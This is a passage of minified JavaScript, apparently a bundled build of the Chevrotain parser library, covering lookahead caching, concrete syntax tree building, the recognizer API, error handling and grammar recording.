ga(e,r=>aP(r,r,Gl))}validateEmptyOrAlternatives(e){return ga(e,r=>Xde(r,Gl))}validateAmbiguousAlternationAlternatives(e,r){return ga(e,n=>jde(n,r,Gl))}validateSomeNonEmptyLookaheadPath(e,r){return Kde(e,r,Gl)}buildLookaheadForAlternation(e){return Bde(e.prodOccurrence,e.rule,e.maxLookahead,e.hasPredicates,e.dynamicTokensEnabled,$de)}buildLookaheadForOptional(e){return Fde(e.prodOccurrence,e.rule,e.maxLookahead,e.dynamicTokensEnabled,ob(e.prodType),zde)}}});function UYe(t){mS.reset(),t.accept(mS);let e=mS.dslMethods;return mS.reset(),e}var gS,hP,mS,ape=N(()=>{"use strict";Yt();js();pS();ps();uP();gS=class{static{o(this,"LooksAhead")}initLooksAhead(e){this.dynamicTokensEnabled=Ft(e,"dynamicTokensEnabled")?e.dynamicTokensEnabled:ms.dynamicTokensEnabled,this.maxLookahead=Ft(e,"maxLookahead")?e.maxLookahead:ms.maxLookahead,this.lookaheadStrategy=Ft(e,"lookaheadStrategy")?e.lookaheadStrategy:new Ju({maxLookahead:this.maxLookahead}),this.lookAheadFuncsCache=new Map}preComputeLookaheadFunctions(e){Ae(e,r=>{this.TRACE_INIT(`${r.name} Rule Lookahead`,()=>{let{alternation:n,repetition:i,option:a,repetitionMandatory:s,repetitionMandatoryWithSeparator:l,repetitionWithSeparator:u}=UYe(r);Ae(n,h=>{let f=h.idx===0?"":h.idx;this.TRACE_INIT(`${Xs(h)}${f}`,()=>{let d=this.lookaheadStrategy.buildLookaheadForAlternation({prodOccurrence:h.idx,rule:r,maxLookahead:h.maxLookahead||this.maxLookahead,hasPredicates:h.hasPredicates,dynamicTokensEnabled:this.dynamicTokensEnabled}),p=dS(this.fullRuleNameToShort[r.name],256,h.idx);this.setLaFuncCache(p,d)})}),Ae(i,h=>{this.computeLookaheadFunc(r,h.idx,768,"Repetition",h.maxLookahead,Xs(h))}),Ae(a,h=>{this.computeLookaheadFunc(r,h.idx,512,"Option",h.maxLookahead,Xs(h))}),Ae(s,h=>{this.computeLookaheadFunc(r,h.idx,1024,"RepetitionMandatory",h.maxLookahead,Xs(h))}),Ae(l,h=>{this.computeLookaheadFunc(r,h.idx,1536,"RepetitionMandatoryWithSeparator",h.maxLookahead,Xs(h))}),Ae(u,h=>{this.computeLookaheadFunc(r,h.idx,1280,"RepetitionWithSeparator",h.maxLookahead,Xs(h))})})})}computeLookaheadFunc(e,r,n,i,a,s){this.TRACE_INIT(`${s}${r===0?"":r}`,()=>{let l=this.lookaheadStrategy.buildLookaheadForOptional({prodOccurrence:r,rule:e,maxLookahead:a||this.maxLookahead,dynamicTokensEnabled:this.dynamicTokensEnabled,prodType:i}),u=dS(this.fullRuleNameToShort[e.name],n,r);this.setLaFuncCache(u,l)})}getKeyForAutomaticLookahead(e,r){let n=this.getLastExplicitRuleShortName();return dS(n,e,r)}getLaFuncFromCache(e){return this.lookAheadFuncsCache.get(e)}setLaFuncCache(e,r){this.lookAheadFuncsCache.set(e,r)}},hP=class extends ds{static{o(this,"DslMethodsCollectorVisitor")}constructor(){super(...arguments),this.dslMethods={option:[],alternation:[],repetition:[],repetitionWithSeparator:[],repetitionMandatory:[],repetitionMandatoryWithSeparator:[]}}reset(){this.dslMethods={option:[],alternation:[],repetition:[],repetitionWithSeparator:[],repetitionMandatory:[],repetitionMandatoryWithSeparator:[]}}visitOption(e){this.dslMethods.option.push(e)}visitRepetitionWithSeparator(e){this.dslMethods.repetitionWithSeparator.push(e)}visitRepetitionMandatory(e){this.dslMethods.repetitionMandatory.push(e)}visitRepetitionMandatoryWithSeparator(e){this.dslMethods.repetitionMandatoryWithSeparator.push(e)}visitRepetition(e){this.dslMethods.repetition.push(e)}visitAlternation(e){this.dslMethods.alternation.push(e)}},mS=new hP;o(UYe,"collectMethods")});function pP(t,e){isNaN(t.startOffset)===!0?(t.startOffset=e.startOffset,t.endOffset=e.endOffset):t.endOffset{"use strict";o(pP,"setNodeLocationOnlyOffset");o(mP,"setNodeLocationFull");o(spe,"addTerminalToCst");o(ope,"addNoneTerminalToCst")});function gP(t,e){Object.defineProperty(t,HYe,{enumerable:!1,configurable:!0,writable:!1,value:e})}var HYe,cpe=N(()=>{"use strict";HYe="name";o(gP,"defineNameProp")});function qYe(t,e){let r=qr(t),n=r.length;for(let i=0;is.msg);throw Error(`Errors Detected in CST Visitor <${this.constructor.name}>: + ${a.join(` + +`).replace(/\n/g,` + `)}`)}},"validateVisitor")};return r.prototype=n,r.prototype.constructor=r,r._RULE_NAMES=e,r}function hpe(t,e,r){let n=o(function(){},"derivedConstructor");gP(n,t+"BaseSemanticsWithDefaults");let i=Object.create(r.prototype);return Ae(e,a=>{i[a]=qYe}),n.prototype=i,n.prototype.constructor=n,n}function WYe(t,e){return YYe(t,e)}function YYe(t,e){let r=Zr(e,i=>Si(t[i])===!1),n=rt(r,i=>({msg:`Missing visitor method: <${i}> on ${t.constructor.name} CST Visitor.`,type:yP.MISSING_METHOD,methodName:i}));return _c(n)}var yP,fpe=N(()=>{"use strict";Yt();cpe();o(qYe,"defaultVisit");o(upe,"createBaseSemanticVisitorConstructor");o(hpe,"createBaseVisitorConstructorWithDefaults");(function(t){t[t.REDUNDANT_METHOD=0]="REDUNDANT_METHOD",t[t.MISSING_METHOD=1]="MISSING_METHOD"})(yP||(yP={}));o(WYe,"validateVisitor");o(YYe,"validateMissingCstMethods")});var bS,dpe=N(()=>{"use strict";lpe();Yt();fpe();js();bS=class{static{o(this,"TreeBuilder")}initTreeBuilder(e){if(this.CST_STACK=[],this.outputCst=e.outputCst,this.nodeLocationTracking=Ft(e,"nodeLocationTracking")?e.nodeLocationTracking:ms.nodeLocationTracking,!this.outputCst)this.cstInvocationStateUpdate=si,this.cstFinallyStateUpdate=si,this.cstPostTerminal=si,this.cstPostNonTerminal=si,this.cstPostRule=si;else if(/full/i.test(this.nodeLocationTracking))this.recoveryEnabled?(this.setNodeLocationFromToken=mP,this.setNodeLocationFromNode=mP,this.cstPostRule=si,this.setInitialNodeLocation=this.setInitialNodeLocationFullRecovery):(this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=this.cstPostRuleFull,this.setInitialNodeLocation=this.setInitialNodeLocationFullRegular);else if(/onlyOffset/i.test(this.nodeLocationTracking))this.recoveryEnabled?(this.setNodeLocationFromToken=pP,this.setNodeLocationFromNode=pP,this.cstPostRule=si,this.setInitialNodeLocation=this.setInitialNodeLocationOnlyOffsetRecovery):(this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=this.cstPostRuleOnlyOffset,this.setInitialNodeLocation=this.setInitialNodeLocationOnlyOffsetRegular);else if(/none/i.test(this.nodeLocationTracking))this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=si,this.setInitialNodeLocation=si;else throw Error(`Invalid config option: "${e.nodeLocationTracking}"`)}setInitialNodeLocationOnlyOffsetRecovery(e){e.location={startOffset:NaN,endOffset:NaN}}setInitialNodeLocationOnlyOffsetRegular(e){e.location={startOffset:this.LA(1).startOffset,endOffset:NaN}}setInitialNodeLocationFullRecovery(e){e.location={startOffset:NaN,startLine:NaN,startColumn:NaN,endOffset:NaN,endLine:NaN,endColumn:NaN}}setInitialNodeLocationFullRegular(e){let r=this.LA(1);e.location={startOffset:r.startOffset,startLine:r.startLine,startColumn:r.startColumn,endOffset:NaN,endLine:NaN,endColumn:NaN}}cstInvocationStateUpdate(e){let r={name:e,children:Object.create(null)};this.setInitialNodeLocation(r),this.CST_STACK.push(r)}cstFinallyStateUpdate(){this.CST_STACK.pop()}cstPostRuleFull(e){let r=this.LA(0),n=e.location;n.startOffset<=r.startOffset?(n.endOffset=r.endOffset,n.endLine=r.endLine,n.endColumn=r.endColumn):(n.startOffset=NaN,n.startLine=NaN,n.startColumn=NaN)}cstPostRuleOnlyOffset(e){let r=this.LA(0),n=e.location;n.startOffset<=r.startOffset?n.endOffset=r.endOffset:n.startOffset=NaN}cstPostTerminal(e,r){let n=this.CST_STACK[this.CST_STACK.length-1];spe(n,r,e),this.setNodeLocationFromToken(n.location,r)}cstPostNonTerminal(e,r){let n=this.CST_STACK[this.CST_STACK.length-1];ope(n,r,e),this.setNodeLocationFromNode(n.location,e.location)}getBaseCstVisitorConstructor(){if(xr(this.baseCstVisitorConstructor)){let e=upe(this.className,qr(this.gastProductionsCache));return this.baseCstVisitorConstructor=e,e}return this.baseCstVisitorConstructor}getBaseCstVisitorConstructorWithDefaults(){if(xr(this.baseCstVisitorWithDefaultsConstructor)){let e=hpe(this.className,qr(this.gastProductionsCache),this.getBaseCstVisitorConstructor());return this.baseCstVisitorWithDefaultsConstructor=e,e}return this.baseCstVisitorWithDefaultsConstructor}getLastExplicitRuleShortName(){let e=this.RULE_STACK;return e[e.length-1]}getPreviousExplicitRuleShortName(){let e=this.RULE_STACK;return e[e.length-2]}getLastExplicitRuleOccurrenceIndex(){let e=this.RULE_OCCURRENCE_STACK;return e[e.length-1]}}});var TS,ppe=N(()=>{"use strict";js();TS=class{static{o(this,"LexerAdapter")}initLexerAdapter(){this.tokVector=[],this.tokVectorLength=0,this.currIdx=-1}set input(e){if(this.selfAnalysisDone!==!0)throw Error("Missing invocation at the end of the Parser's constructor.");this.reset(),this.tokVector=e,this.tokVectorLength=e.length}get input(){return this.tokVector}SKIP_TOKEN(){return this.currIdx<=this.tokVector.length-2?(this.consumeToken(),this.LA(1)):A1}LA(e){let r=this.currIdx+e;return r<0||this.tokVectorLength<=r?A1:this.tokVector[r]}consumeToken(){this.currIdx++}exportLexerState(){return this.currIdx}importLexerState(e){this.currIdx=e}resetLexerState(){this.currIdx=-1}moveToTerminatedState(){this.currIdx=this.tokVector.length-1}getLexerPosition(){return this.exportLexerState()}}});var wS,mpe=N(()=>{"use strict";Yt();C1();js();b1();cb();ps();wS=class{static{o(this,"RecognizerApi")}ACTION(e){return e.call(this)}consume(e,r,n){return this.consumeInternal(r,e,n)}subrule(e,r,n){return this.subruleInternal(r,e,n)}option(e,r){return this.optionInternal(r,e)}or(e,r){return this.orInternal(r,e)}many(e,r){return this.manyInternal(e,r)}atLeastOne(e,r){return this.atLeastOneInternal(e,r)}CONSUME(e,r){return this.consumeInternal(e,0,r)}CONSUME1(e,r){return this.consumeInternal(e,1,r)}CONSUME2(e,r){return this.consumeInternal(e,2,r)}CONSUME3(e,r){return this.consumeInternal(e,3,r)}CONSUME4(e,r){return this.consumeInternal(e,4,r)}CONSUME5(e,r){return this.consumeInternal(e,5,r)}CONSUME6(e,r){return this.consumeInternal(e,6,r)}CONSUME7(e,r){return this.consumeInternal(e,7,r)}CONSUME8(e,r){return this.consumeInternal(e,8,r)}CONSUME9(e,r){return this.consumeInternal(e,9,r)}SUBRULE(e,r){return this.subruleInternal(e,0,r)}SUBRULE1(e,r){return this.subruleInternal(e,1,r)}SUBRULE2(e,r){return this.subruleInternal(e,2,r)}SUBRULE3(e,r){return this.subruleInternal(e,3,r)}SUBRULE4(e,r){return this.subruleInternal(e,4,r)}SUBRULE5(e,r){return this.subruleInternal(e,5,r)}SUBRULE6(e,r){return this.subruleInternal(e,6,r)}SUBRULE7(e,r){return this.subruleInternal(e,7,r)}SUBRULE8(e,r){return this.subruleInternal(e,8,r)}SUBRULE9(e,r){return this.subruleInternal(e,9,r)}OPTION(e){return this.optionInternal(e,0)}OPTION1(e){return this.optionInternal(e,1)}OPTION2(e){return this.optionInternal(e,2)}OPTION3(e){return this.optionInternal(e,3)}OPTION4(e){return this.optionInternal(e,4)}OPTION5(e){return this.optionInternal(e,5)}OPTION6(e){return this.optionInternal(e,6)}OPTION7(e){return this.optionInternal(e,7)}OPTION8(e){return this.optionInternal(e,8)}OPTION9(e){return this.optionInternal(e,9)}OR(e){return this.orInternal(e,0)}OR1(e){return this.orInternal(e,1)}OR2(e){return this.orInternal(e,2)}OR3(e){return this.orInternal(e,3)}OR4(e){return this.orInternal(e,4)}OR5(e){return this.orInternal(e,5)}OR6(e){return this.orInternal(e,6)}OR7(e){return this.orInternal(e,7)}OR8(e){return this.orInternal(e,8)}OR9(e){return this.orInternal(e,9)}MANY(e){this.manyInternal(0,e)}MANY1(e){this.manyInternal(1,e)}MANY2(e){this.manyInternal(2,e)}MANY3(e){this.manyInternal(3,e)}MANY4(e){this.manyInternal(4,e)}MANY5(e){this.manyInternal(5,e)}MANY6(e){this.manyInternal(6,e)}MANY7(e){this.manyInternal(7,e)}MANY8(e){this.manyInternal(8,e)}MANY9(e){this.manyInternal(9,e)}MANY_SEP(e){this.manySepFirstInternal(0,e)}MANY_SEP1(e){this.manySepFirstInternal(1,e)}MANY_SEP2(e){this.manySepFirstInternal(2,e)}MANY_SEP3(e){this.manySepFirstInternal(3,e)}MANY_SEP4(e){this.manySepFirstInternal(4,e)}MANY_SEP5(e){this.manySepFirstInternal(5,e)}MANY_SEP6(e){this.manySepFirstInternal(6,e)}MANY_SEP7(e){this.manySepFirstInternal(7,e)}MANY_SEP8(e){this.manySepFirstInternal(8,e)}MANY_SEP9(e){this.manySepFirstInternal(9,e)}AT_LEAST_ONE(e){this.atLeastOneInternal(0,e)}AT_LEAST_ONE1(e){return this.atLeastOneInternal(1,e)}AT_LEAST_ONE2(e){this.atLeastOneInternal(2,e)}AT_LEAST_ONE3(e){this.atLeastOneInternal(3,e)}AT_LEAST_ONE4(e){this.atLeastOneInternal(4,e)}AT_LEAST_ONE5(e){this.atLeastOneInternal(5,e)}AT_LEAST_ONE6(e){this.atLeastOneInternal(6,e)}AT_LEAST_ONE7(e){this.atLeastOneInternal(7,e)}AT_LEAST_ONE8(e){this.atLeastOneInternal(8,e)}AT_LEAST_ONE9(e){this.atLeastOneInternal(9,e)}AT_LEAST_ONE_SEP(e){this.atLeastOneSepFirstInternal(0,e)}AT_LEAST_ONE_SEP1(e){this.atLeastOneSepFirstInternal(1,e)}AT_LEAST_ONE_SEP2(e){this.atLeastOneSepFirstInternal(2,e)}AT_LEAST_ONE_SEP3(e){this.atLeastOneSepFirstInternal(3,e)}AT_LEAST_ONE_SEP4(e){this.atLeastOneSepFirstInternal(4,e)}AT_LEAST_ONE_SEP5(e){this.atLeastOneSepFirstInternal(5,e)}AT_LEAST_ONE_SEP6(e){this.atLeastOneSepFirstInternal(6,e)}AT_LEAST_ONE_SEP7(e){this.atLeastOneSepFirstInternal(7,e)}AT_LEAST_ONE_SEP8(e){this.atLeastOneSepFirstInternal(8,e)}AT_LEAST_ONE_SEP9(e){this.atLeastOneSepFirstInternal(9,e)}RULE(e,r,n=_1){if(jn(this.definedRulesNames,e)){let s={message:Gl.buildDuplicateRuleNameError({topLevelRule:e,grammarName:this.className}),type:Gi.DUPLICATE_RULE_NAME,ruleName:e};this.definitionErrors.push(s)}this.definedRulesNames.push(e);let i=this.defineRule(e,r,n);return this[e]=i,i}OVERRIDE_RULE(e,r,n=_1){let i=Yde(e,this.definedRulesNames,this.className);this.definitionErrors=this.definitionErrors.concat(i);let a=this.defineRule(e,r,n);return this[e]=a,a}BACKTRACK(e,r){return function(){this.isBackTrackingStack.push(1);let n=this.saveRecogState();try{return e.apply(this,r),!0}catch(i){if(Bf(i))return!1;throw i}finally{this.reloadRecogState(n),this.isBackTrackingStack.pop()}}}getGAstProductions(){return this.gastProductionsCache}getSerializedGastProductions(){return YE(kr(this.gastProductionsCache))}}});var kS,gpe=N(()=>{"use strict";Yt();pS();C1();E1();sb();js();cP();Up();Vp();kS=class{static{o(this,"RecognizerEngine")}initRecognizerEngine(e,r){if(this.className=this.constructor.name,this.shortRuleNameToFull={},this.fullRuleNameToShort={},this.ruleShortNameIdx=256,this.tokenMatcher=v1,this.subruleIdx=0,this.definedRulesNames=[],this.tokensMap={},this.isBackTrackingStack=[],this.RULE_STACK=[],this.RULE_OCCURRENCE_STACK=[],this.gastProductionsCache={},Ft(r,"serializedGrammar"))throw Error(`The Parser's configuration can no longer contain a property. + See: https://chevrotain.io/docs/changes/BREAKING_CHANGES.html#_6-0-0 + For Further details.`);if(Bt(e)){if(mr(e))throw Error(`A Token Vocabulary cannot be empty. + Note that the first argument for the parser constructor + is no longer a Token vector (since v4.0).`);if(typeof e[0].startOffset=="number")throw Error(`The Parser constructor no longer accepts a token vector as the first argument. + See: https://chevrotain.io/docs/changes/BREAKING_CHANGES.html#_4-0-0 + For Further details.`)}if(Bt(e))this.tokensMap=Jr(e,(a,s)=>(a[s.name]=s,a),{});else if(Ft(e,"modes")&&Pa(Qr(kr(e.modes)),Ede)){let a=Qr(kr(e.modes)),s=qm(a);this.tokensMap=Jr(s,(l,u)=>(l[u.name]=u,l),{})}else if(Sn(e))this.tokensMap=ln(e);else throw new Error(" argument must be An Array of Token constructors, A dictionary of Token constructors or an IMultiModeLexerDefinition");this.tokensMap.EOF=yo;let n=Ft(e,"modes")?Qr(kr(e.modes)):kr(e),i=Pa(n,a=>mr(a.categoryMatches));this.tokenMatcher=i?v1:Xu,ju(kr(this.tokensMap))}defineRule(e,r,n){if(this.selfAnalysisDone)throw Error(`Grammar rule <${e}> may not be defined after the 'performSelfAnalysis' method has been called' +Make sure that all grammar rule definitions are done before 'performSelfAnalysis' is called.`);let i=Ft(n,"resyncEnabled")?n.resyncEnabled:_1.resyncEnabled,a=Ft(n,"recoveryValueFunc")?n.recoveryValueFunc:_1.recoveryValueFunc,s=this.ruleShortNameIdx<<12;this.ruleShortNameIdx++,this.shortRuleNameToFull[s]=e,this.fullRuleNameToShort[e]=s;let l;return this.outputCst===!0?l=o(function(...f){try{this.ruleInvocationStateUpdate(s,e,this.subruleIdx),r.apply(this,f);let d=this.CST_STACK[this.CST_STACK.length-1];return this.cstPostRule(d),d}catch(d){return this.invokeRuleCatch(d,i,a)}finally{this.ruleFinallyStateUpdate()}},"invokeRuleWithTry"):l=o(function(...f){try{return this.ruleInvocationStateUpdate(s,e,this.subruleIdx),r.apply(this,f)}catch(d){return this.invokeRuleCatch(d,i,a)}finally{this.ruleFinallyStateUpdate()}},"invokeRuleWithTryCst"),Object.assign(l,{ruleName:e,originalGrammarAction:r})}invokeRuleCatch(e,r,n){let i=this.RULE_STACK.length===1,a=r&&!this.isBackTracking()&&this.recoveryEnabled;if(Bf(e)){let s=e;if(a){let l=this.findReSyncTokenType();if(this.isInCurrentRuleReSyncSet(l))if(s.resyncedTokens=this.reSyncTo(l),this.outputCst){let u=this.CST_STACK[this.CST_STACK.length-1];return u.recoveredNode=!0,u}else return n(e);else{if(this.outputCst){let u=this.CST_STACK[this.CST_STACK.length-1];u.recoveredNode=!0,s.partialCstResult=u}throw s}}else{if(i)return this.moveToTerminatedState(),n(e);throw s}}else throw e}optionInternal(e,r){let n=this.getKeyForAutomaticLookahead(512,r);return this.optionInternalLogic(e,r,n)}optionInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof e!="function"){a=e.DEF;let s=e.GATE;if(s!==void 0){let l=i;i=o(()=>s.call(this)&&l.call(this),"lookAheadFunc")}}else a=e;if(i.call(this)===!0)return a.call(this)}atLeastOneInternal(e,r){let n=this.getKeyForAutomaticLookahead(1024,e);return this.atLeastOneInternalLogic(e,r,n)}atLeastOneInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof r!="function"){a=r.DEF;let s=r.GATE;if(s!==void 0){let l=i;i=o(()=>s.call(this)&&l.call(this),"lookAheadFunc")}}else a=r;if(i.call(this)===!0){let s=this.doSingleRepetition(a);for(;i.call(this)===!0&&s===!0;)s=this.doSingleRepetition(a)}else throw this.raiseEarlyExitException(e,Jn.REPETITION_MANDATORY,r.ERR_MSG);this.attemptInRepetitionRecovery(this.atLeastOneInternal,[e,r],i,1024,e,aS)}atLeastOneSepFirstInternal(e,r){let n=this.getKeyForAutomaticLookahead(1536,e);this.atLeastOneSepFirstInternalLogic(e,r,n)}atLeastOneSepFirstInternalLogic(e,r,n){let i=r.DEF,a=r.SEP;if(this.getLaFuncFromCache(n).call(this)===!0){i.call(this);let l=o(()=>this.tokenMatcher(this.LA(1),a),"separatorLookAheadFunc");for(;this.tokenMatcher(this.LA(1),a)===!0;)this.CONSUME(a),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,a,l,i,ab],l,1536,e,ab)}else throw this.raiseEarlyExitException(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR,r.ERR_MSG)}manyInternal(e,r){let n=this.getKeyForAutomaticLookahead(768,e);return this.manyInternalLogic(e,r,n)}manyInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof r!="function"){a=r.DEF;let l=r.GATE;if(l!==void 0){let u=i;i=o(()=>l.call(this)&&u.call(this),"lookaheadFunction")}}else a=r;let s=!0;for(;i.call(this)===!0&&s===!0;)s=this.doSingleRepetition(a);this.attemptInRepetitionRecovery(this.manyInternal,[e,r],i,768,e,iS,s)}manySepFirstInternal(e,r){let n=this.getKeyForAutomaticLookahead(1280,e);this.manySepFirstInternalLogic(e,r,n)}manySepFirstInternalLogic(e,r,n){let i=r.DEF,a=r.SEP;if(this.getLaFuncFromCache(n).call(this)===!0){i.call(this);let l=o(()=>this.tokenMatcher(this.LA(1),a),"separatorLookAheadFunc");for(;this.tokenMatcher(this.LA(1),a)===!0;)this.CONSUME(a),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,a,l,i,ib],l,1280,e,ib)}}repetitionSepSecondInternal(e,r,n,i,a){for(;n();)this.CONSUME(r),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,r,n,i,a],n,1536,e,a)}doSingleRepetition(e){let r=this.getLexerPosition();return e.call(this),this.getLexerPosition()>r}orInternal(e,r){let n=this.getKeyForAutomaticLookahead(256,r),i=Bt(e)?e:e.DEF,s=this.getLaFuncFromCache(n).call(this,i);if(s!==void 0)return i[s].ALT.call(this);this.raiseNoAltException(r,e.ERR_MSG)}ruleFinallyStateUpdate(){if(this.RULE_STACK.pop(),this.RULE_OCCURRENCE_STACK.pop(),this.cstFinallyStateUpdate(),this.RULE_STACK.length===0&&this.isAtEndOfInput()===!1){let e=this.LA(1),r=this.errorMessageProvider.buildNotAllInputParsedMessage({firstRedundant:e,ruleName:this.getCurrRuleFullName()});this.SAVE_ERROR(new hb(r,e))}}subruleInternal(e,r,n){let i;try{let a=n!==void 0?n.ARGS:void 0;return this.subruleIdx=r,i=e.apply(this,a),this.cstPostNonTerminal(i,n!==void 0&&n.LABEL!==void 0?n.LABEL:e.ruleName),i}catch(a){throw this.subruleInternalError(a,n,e.ruleName)}}subruleInternalError(e,r,n){throw Bf(e)&&e.partialCstResult!==void 0&&(this.cstPostNonTerminal(e.partialCstResult,r!==void 0&&r.LABEL!==void 0?r.LABEL:n),delete e.partialCstResult),e}consumeInternal(e,r,n){let i;try{let a=this.LA(1);this.tokenMatcher(a,e)===!0?(this.consumeToken(),i=a):this.consumeInternalError(e,a,n)}catch(a){i=this.consumeInternalRecovery(e,r,a)}return this.cstPostTerminal(n!==void 0&&n.LABEL!==void 0?n.LABEL:e.name,i),i}consumeInternalError(e,r,n){let i,a=this.LA(0);throw n!==void 0&&n.ERR_MSG?i=n.ERR_MSG:i=this.errorMessageProvider.buildMismatchTokenMessage({expected:e,actual:r,previous:a,ruleName:this.getCurrRuleFullName()}),this.SAVE_ERROR(new Hp(i,r,a))}consumeInternalRecovery(e,r,n){if(this.recoveryEnabled&&n.name==="MismatchedTokenException"&&!this.isBackTracking()){let i=this.getFollowsForInRuleRecovery(e,r);try{return this.tryInRuleRecovery(e,i)}catch(a){throw a.name===lP?n:a}}else throw n}saveRecogState(){let e=this.errors,r=ln(this.RULE_STACK);return{errors:e,lexerState:this.exportLexerState(),RULE_STACK:r,CST_STACK:this.CST_STACK}}reloadRecogState(e){this.errors=e.errors,this.importLexerState(e.lexerState),this.RULE_STACK=e.RULE_STACK}ruleInvocationStateUpdate(e,r,n){this.RULE_OCCURRENCE_STACK.push(n),this.RULE_STACK.push(e),this.cstInvocationStateUpdate(r)}isBackTracking(){return this.isBackTrackingStack.length!==0}getCurrRuleFullName(){let e=this.getLastExplicitRuleShortName();return this.shortRuleNameToFull[e]}shortRuleNameToFullName(e){return this.shortRuleNameToFull[e]}isAtEndOfInput(){return this.tokenMatcher(this.LA(1),yo)}reset(){this.resetLexerState(),this.subruleIdx=0,this.isBackTrackingStack=[],this.errors=[],this.RULE_STACK=[],this.CST_STACK=[],this.RULE_OCCURRENCE_STACK=[]}}});var ES,ype=N(()=>{"use strict";C1();Yt();E1();js();ES=class{static{o(this,"ErrorHandler")}initErrorHandler(e){this._errors=[],this.errorMessageProvider=Ft(e,"errorMessageProvider")?e.errorMessageProvider:ms.errorMessageProvider}SAVE_ERROR(e){if(Bf(e))return e.context={ruleStack:this.getHumanReadableRuleStack(),ruleOccurrenceStack:ln(this.RULE_OCCURRENCE_STACK)},this._errors.push(e),e;throw Error("Trying to save an Error which is not a RecognitionException")}get errors(){return ln(this._errors)}set errors(e){this._errors=e}raiseEarlyExitException(e,r,n){let i=this.getCurrRuleFullName(),a=this.getGAstProductions()[i],l=k1(e,a,r,this.maxLookahead)[0],u=[];for(let f=1;f<=this.maxLookahead;f++)u.push(this.LA(f));let h=this.errorMessageProvider.buildEarlyExitMessage({expectedIterationPaths:l,actual:u,previous:this.LA(0),customUserDescription:n,ruleName:i});throw this.SAVE_ERROR(new fb(h,this.LA(1),this.LA(0)))}raiseNoAltException(e,r){let n=this.getCurrRuleFullName(),i=this.getGAstProductions()[n],a=w1(e,i,this.maxLookahead),s=[];for(let h=1;h<=this.maxLookahead;h++)s.push(this.LA(h));let l=this.LA(0),u=this.errorMessageProvider.buildNoViableAltMessage({expectedPathsPerAlt:a,actual:s,previous:l,customUserDescription:r,ruleName:this.getCurrRuleFullName()});throw this.SAVE_ERROR(new ub(u,this.LA(1),l))}}});var SS,vpe=N(()=>{"use strict";sb();Yt();SS=class{static{o(this,"ContentAssist")}initContentAssist(){}computeContentAssist(e,r){let n=this.gastProductionsCache[e];if(xr(n))throw Error(`Rule ->${e}<- does not exist in this grammar.`);return oS([n],r,this.tokenMatcher,this.maxLookahead)}getNextPossibleTokenTypes(e){let r=ea(e.ruleStack),i=this.getGAstProductions()[r];return new nS(i,e).startWalking()}}});function pb(t,e,r,n=!1){AS(r);let i=ma(this.recordingProdStack),a=Si(e)?e:e.DEF,s=new t({definition:[],idx:r});return n&&(s.separator=e.SEP),Ft(e,"MAX_LOOKAHEAD")&&(s.maxLookahead=e.MAX_LOOKAHEAD),this.recordingProdStack.push(s),a.call(this),i.definition.push(s),this.recordingProdStack.pop(),_S}function KYe(t,e){AS(e);let r=ma(this.recordingProdStack),n=Bt(t)===!1,i=n===!1?t:t.DEF,a=new Dn({definition:[],idx:e,ignoreAmbiguities:n&&t.IGNORE_AMBIGUITIES===!0});Ft(t,"MAX_LOOKAHEAD")&&(a.maxLookahead=t.MAX_LOOKAHEAD);let s=z2(i,l=>Si(l.GATE));return a.hasPredicates=s,r.definition.push(a),Ae(i,l=>{let u=new Pn({definition:[]});a.definition.push(u),Ft(l,"IGNORE_AMBIGUITIES")?u.ignoreAmbiguities=l.IGNORE_AMBIGUITIES:Ft(l,"GATE")&&(u.ignoreAmbiguities=!0),this.recordingProdStack.push(u),l.ALT.call(this),this.recordingProdStack.pop()}),_S}function Tpe(t){return t===0?"":`${t}`}function AS(t){if(t<0||t>bpe){let e=new Error(`Invalid DSL Method idx value: <${t}> + Idx value must be a none negative value smaller than ${bpe+1}`);throw e.KNOWN_RECORDER_ERROR=!0,e}}var _S,xpe,bpe,wpe,kpe,jYe,CS,Epe=N(()=>{"use strict";Yt();ps();tb();Vp();Up();js();pS();_S={description:"This Object indicates the Parser is during Recording Phase"};Object.freeze(_S);xpe=!0,bpe=Math.pow(2,8)-1,wpe=Pf({name:"RECORDING_PHASE_TOKEN",pattern:Zn.NA});ju([wpe]);kpe=Qu(wpe,`This IToken indicates the Parser is in Recording Phase + See: https://chevrotain.io/docs/guide/internals.html#grammar-recording for details`,-1,-1,-1,-1,-1,-1);Object.freeze(kpe);jYe={name:`This CSTNode indicates the Parser is in Recording Phase + See: https://chevrotain.io/docs/guide/internals.html#grammar-recording for details`,children:{}},CS=class{static{o(this,"GastRecorder")}initGastRecorder(e){this.recordingProdStack=[],this.RECORDING_PHASE=!1}enableRecording(){this.RECORDING_PHASE=!0,this.TRACE_INIT("Enable Recording",()=>{for(let e=0;e<10;e++){let r=e>0?e:"";this[`CONSUME${r}`]=function(n,i){return this.consumeInternalRecord(n,e,i)},this[`SUBRULE${r}`]=function(n,i){return this.subruleInternalRecord(n,e,i)},this[`OPTION${r}`]=function(n){return this.optionInternalRecord(n,e)},this[`OR${r}`]=function(n){return this.orInternalRecord(n,e)},this[`MANY${r}`]=function(n){this.manyInternalRecord(e,n)},this[`MANY_SEP${r}`]=function(n){this.manySepFirstInternalRecord(e,n)},this[`AT_LEAST_ONE${r}`]=function(n){this.atLeastOneInternalRecord(e,n)},this[`AT_LEAST_ONE_SEP${r}`]=function(n){this.atLeastOneSepFirstInternalRecord(e,n)}}this.consume=function(e,r,n){return this.consumeInternalRecord(r,e,n)},this.subrule=function(e,r,n){return this.subruleInternalRecord(r,e,n)},this.option=function(e,r){return this.optionInternalRecord(r,e)},this.or=function(e,r){return this.orInternalRecord(r,e)},this.many=function(e,r){this.manyInternalRecord(e,r)},this.atLeastOne=function(e,r){this.atLeastOneInternalRecord(e,r)},this.ACTION=this.ACTION_RECORD,this.BACKTRACK=this.BACKTRACK_RECORD,this.LA=this.LA_RECORD})}disableRecording(){this.RECORDING_PHASE=!1,this.TRACE_INIT("Deleting Recording methods",()=>{let e=this;for(let r=0;r<10;r++){let 